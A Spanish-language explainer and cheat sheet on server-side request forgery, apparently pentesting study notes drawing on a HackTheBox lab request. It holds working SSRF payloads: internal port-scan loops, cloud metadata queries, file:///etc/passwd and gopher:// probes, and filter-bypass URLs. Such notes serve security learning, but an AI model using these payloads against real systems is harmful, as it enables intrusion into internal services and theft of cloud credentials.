Saltar a contenido

Server Side Request Forgery (SSRF)

¿Qué es SSRF?

La vulnerabilidad Server Side Request Forgery (SSRF) ocurre cuando un atacante puede manipular un servidor para que realice solicitudes HTTP a recursos internos o externos que normalmente no serían accesibles para el atacante.

Impacto

Un ataque SSRF puede permitir: - Acceder a recursos internos de la red, como bases de datos o servicios internos. - Filtrar información sensible. - Realizar ataques adicionales, como escaneo de puertos internos o explotación de servicios vulnerables.

Ejemplo

POST /upload-cover HTTP/1.1

Host: editorial.htb

Content-Length: 307

Accept-Language: en-US,en;q=0.9

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQ7BYZLc1jmNjS53B

Accept: */*

Origin: http://editorial.htb

Referer: http://editorial.htb/upload

Accept-Encoding: gzip, deflate, br

Connection: keep-alive



------WebKitFormBoundaryQ7BYZLc1jmNjS53B

Content-Disposition: form-data; name="bookurl"



http://127.0.0.1:5000

------WebKitFormBoundaryQ7BYZLc1jmNjS53B

Content-Disposition: form-data; name="bookfile"; filename=""

Content-Type: application/octet-stream





------WebKitFormBoundaryQ7BYZLc1jmNjS53B--
  • En este ejemplo se envía una solicitud POST a editorial.htb con un archivo de libro y una URL de imagen.
  • en el puerto 5000 hay un servicio vulnerable que puede ser explotado.

SSRF Cheatsheet Ayudas

Comandos útiles para pruebas SSRF

  • Comprobar acceso a recursos internos:
    curl -X POST -d "bookurl=http://127.0.0.1:80" http://target.com/upload
    
  • Escaneo de puertos internos:
    for port in {1..65535}; do curl -s -o /dev/null -w "%{http_code} - Port $port\n" http://127.0.0.1:$port; done
    
  • Probar acceso a metadatos en servicios cloud:
    curl http://169.254.169.254/latest/meta-data/
    

Herramientas útiles

  • Burp Suite: Configura un payload SSRF en el repeater para probar diferentes endpoints.
  • SSRFmap: Automatiza la explotación de SSRF.
    python3 ssrfmap.py -u "http://target.com/upload?url=xxURLxx" -p xxURLxx
    
  • HTTPie: Alternativa a curl para pruebas HTTP.
    http POST http://target.com/upload bookurl=http://127.0.0.1:80
    

Payloads comunes

  • Acceso a localhost:
    http://127.0.0.1:80
    
  • Bypass de validaciones:
    http://127.0.0.1#target.com
    http://[email protected]
    
  • Probar diferentes protocolos:
    file:///etc/passwd
    gopher://127.0.0.1:11211/_stats
    

Recursos adicionales

SSRF Cheatsheet ayudas